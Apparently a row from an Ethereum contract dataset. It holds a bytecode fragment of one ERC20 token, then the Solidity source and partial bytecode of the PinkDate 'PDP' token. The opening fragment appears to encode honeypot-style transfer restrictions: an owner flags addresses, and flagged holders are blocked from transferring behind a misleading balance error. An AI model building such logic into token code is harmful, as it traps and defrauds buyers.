7f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b869e2b51b3735a79d3b9268a91d7a7bb66791c4b6a00a381f4eef4b8a0dae7864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,114
0x5afeda7e32c61b80c25f78ac7f6cfb5de613b509
pragma solidity ^0.4.18; /** PinkDate Token-Share Contract (PDP) Using code generously from https://github.com/OpenZeppelin/zeppelin-solidity/ The MIT License (MIT) Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // --- BEGIN Custom Code --- // Up until here things have been stock from OpenZeppelin contract CappedBurnToken is StandardToken, Ownable { uint256 public cap; function CappedBurnToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } event Mint(address indexed to, uint256 amount); event Unmint(address indexed from, uint256 amount); function mint(address _to, uint256 _amount) onlyOwner external returns (bool) { require(totalSupply_.add(_amount) <= cap); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } event Burn(address indexed burner, uint256 value); /// Permanently destroy tokens function burn(uint256 _value) external { address burner = msg.sender; require(_value <= balances[burner]); balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); cap = cap.sub(_value); Burn(burner, _value); Transfer(msg.sender, address(0), _value); } /// Same as burn without reducing cap, allows re-minting function unmint(uint256 _value) external { address burner = msg.sender; require(_value <= balances[burner]); balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Unmint(burner, _value); Transfer(msg.sender, address(0), _value); } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract PDP is CappedBurnToken(144200000), DetailedERC20, CanReclaimToken { uint256 public saleMinShares; uint256 public salePriceWei; uint256 public saleSharesAvail; address internal saleWallet; uint256 public saleSharesSold; function PDP() DetailedERC20("PinkDate Platform Token-Share", "PDP", 0) public { saleWallet = address(0); salePriceWei = 0; saleSharesAvail = 0; saleSharesSold = 0; } event Purchase(address indexed to, uint256 shares); /// Tokens are manually issued to addresses that have sent ether /// The contract sells a limited amount to ensure no oversale happens due to off-chain purchases function() external payable { require(saleWallet != address(0)); // Other checks are done on setSale uint256 shareTarget = msg.value / salePriceWei; require(shareTarget >= saleMinShares); require(shareTarget <= saleSharesAvail); saleSharesAvail = saleSharesAvail.sub(shareTarget); saleSharesSold = saleSharesSold.add(shareTarget); Purchase(msg.sender, shareTarget); saleWallet.transfer(msg.value); } function setSale(uint256 newPriceWei, uint256 newSharesAvail, uint256 newMinShares, address newWallet) onlyOwner external { // This may be called multiple time to allow more sales on-chain or to change parameters // Call with 0 to end sale if (newWallet == address(0)) { // End sale saleWallet = address(0); salePriceWei = 0; saleSharesAvail = 0; saleMinShares = 0; } else { // These checks are just to be a bit safer and avoid typo mistake require(totalSupply_ + saleSharesSold + newSharesAvail <= cap); // Do not exceed cap require(newSharesAvail > 100 && newSharesAvail < 10000000); // Between 100 and 10M at a time require(newMinShares < 20000); // Min purchase should not be too high require(newPriceWei > 100000000000000); // At least around $0.10 / share saleMinShares = newMinShares; salePriceWei = newPriceWei; saleSharesAvail = newSharesAvail; saleWallet = newWallet; } } /// Only to be used in case tokens are distributed to allow setSale to issue more in case cap would be hit function clearSaleSharesSold(uint256 confirm) onlyOwner external { // Checks are just for a bit of safety require(confirm == 1); require(saleWallet == address(0)); // Sale must be over // Next check is not perfect in light of multiple sale rounds but should work for main single round require(totalSupply_ >= saleSharesSold); // All sold tokens must be distributed saleSharesSold = 0; } }
0x6060604052600436106101195763ffffffff60e060020a60003504166306fdde038114610203578063095ea7b31461028d57806317ffc320146102c357806318160ddd146102e45780631a24befc1461030957806323b872dd1461031f578063313ce56714610347578063355274ea1461037057806340c10f191461038357806342966c68146103a557806364e779b1146103bb57806366188463146103d157806370a08231146103f35780638da5cb5b1461041257806395d89b4114610441578063976e14d614610454578063a9059cbb14610467578063b831d13714610489578063d73dd6231461049c578063da465d3f146104be578063dd62ed3e146104d1578063e73995cd146104f6578063fc7e47681461051e575b600b54600090600160a060020a0316151561013357600080fd5b6009543481151561014057fe5b049050600854811015151561015457600080fd5b600a5481111561016357600080fd5b600a54610176908263ffffffff61053116565b600a55600c5461018c908263ffffffff61054316565b600c55600160a060020a0333167f2499a5330ab0979cc612135e7883ebc3cd5c9f7a8508f042540c34723348f6328260405190815260200160405180910390a2600b54600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561020057600080fd5b50005b341561020e57600080fd5b610216610559565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561025257808201518382015260200161023a565b50505050905090810190601f16801561027f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029857600080fd5b6102af600160a060020a03600435166024356105f7565b604051901515815260200160405180910390f35b34156102ce57600080fd5b6102e2600160a060020a0360043516610663565b005b34156102ef57600080fd5b6102f7610719565b60405190815260200160405180910390f35b341561031457600080fd5b6102e260043561071f565b341561032a57600080fd5b6102af600160a060020a0360043581169060243516604435610776565b341561035257600080fd5b61035a6108e4565b60405160ff909116815260200160405180910390f35b341561037b57600080fd5b6102f76108ed565b341561038e57600080fd5b6102af600160a060020a03600435166024356108f3565b34156103b057600080fd5b6102e26004356109f9565b34156103c657600080fd5b6102e2600435610afb565b34156103dc57600080fd5b6102af600160a060020a0360043516602435610be7565b34156103fe57600080fd5b6102f7600160a060020a0360043516610ce1565b341561041d57600080fd5b610425610cfc565b604051600160a060020a03909116815260200160405180910390f35b341561044c57600080fd5b610216610d0b565b341561045f57600080fd5b6102f7610d76565b341561047257600080fd5b6102af600160a060020a0360043516602435610d7c565b341561049457600080fd5b6102f7610e7c565b34156104a757600080fd5b6102af600160a060020a0360043516602435610e82565b34156104c957600080fd5b6102f7610f26565b34156104dc57600080fd5b6102f7600160a060020a0360043581169060243516610f2c565b341561050157600080fd5b6102e2600435602435604435600160a060020a0360643516610f57565b341561052957600080fd5b6102f7611045565b60008282111561053d57fe5b50900390565b60008282018381101561055257fe5b9392505050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ef5780601f106105c4576101008083540402835291602001916105ef565b820191906000526020600020905b8154815290600101906020018083116105d257829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009033600160a060020a0390811691161461068157600080fd5b81600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106d857600080fd5b6102c65a03f115156106e957600080fd5b50505060405180516003549092506107159150600160a060020a0384811691168363ffffffff61104b16565b5050565b60015490565b60035433600160a060020a0390811691161461073a57600080fd5b6001811461074757600080fd5b600b54600160a060020a03161561075d57600080fd5b600c54600154101561076e57600080fd5b506000600c55565b6000600160a060020a038316151561078d57600080fd5b600160a060020a0384166000908152602081905260409020548211156107b257600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156107e557600080fd5b600160a060020a03841660009081526020819052604090205461080e908363ffffffff61053116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610843908363ffffffff61054316565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610889908363ffffffff61053116565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206110d18339815191529085905190815260200160405180910390a35060019392505050565b60075460ff1681565b60045481565b60035460009033600160a060020a0390811691161461091157600080fd5b600454600154610927908463ffffffff61054316565b111561093257600080fd5b600154610945908363ffffffff61054316565b600155600160a060020a038316600090815260208190526040902054610971908363ffffffff61054316565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206110d18339815191528460405190815260200160405180910390a350600192915050565b33600160a060020a038116600090815260208190526040902054821115610a1f57600080fd5b600160a060020a038116600090815260208190526040902054610a48908363ffffffff61053116565b600160a060020a038216600090815260208190526040902055600154610a74908363ffffffff61053116565b600155600454610a8a908363ffffffff61053116565b600455600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03166000805160206110d18339815191528460405190815260200160405180910390a35050565b33600160a060020a038116600090815260208190526040902054821115610b2157600080fd5b600160a060020a038116600090815260208190526040902054610b4a908363ffffffff61053116565b600160a060020a038216600090815260208190526040902055600154610b76908363ffffffff61053116565b600155600160a060020a0381167f66130d542de6632052af5c3f5f4c3c497ed0dd528c17952ff147b6329952c01e8360405190815260200160405180910390a2600033600160a060020a03166000805160206110d18339815191528460405190815260200160405180910390a35050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c4457600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c7b565b610c54818463ffffffff61053116565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ef5780601f106105c4576101008083540402835291602001916105ef565b60095481565b6000600160a060020a0383161515610d9357600080fd5b600160a060020a033316600090815260208190526040902054821115610db857600080fd5b600160a060020a033316600090815260208190526040902054610de1908363ffffffff61053116565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e16908363ffffffff61054316565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206110d18339815191528460405190815260200160405180910390a350600192915050565b600c5481565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610eba908363ffffffff61054316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600a5481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610f7257600080fd5b600160a060020a0381161515610fb357600b805473ffffffffffffffffffffffffffffffffffffffff1916905560006009819055600a81905560085561103f565b600454600c546001540184011115610fca57600080fd5b606483118015610fdc57506298968083105b1515610fe757600080fd5b614e208210610ff557600080fd5b655af3107a4000841161100757600080fd5b60088290556009849055600a839055600b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50505050565b60085481565b82600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156110a857600080fd5b6102c65a03f115156110b957600080fd5b5050506040518051905015156110cb57fe5b5050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058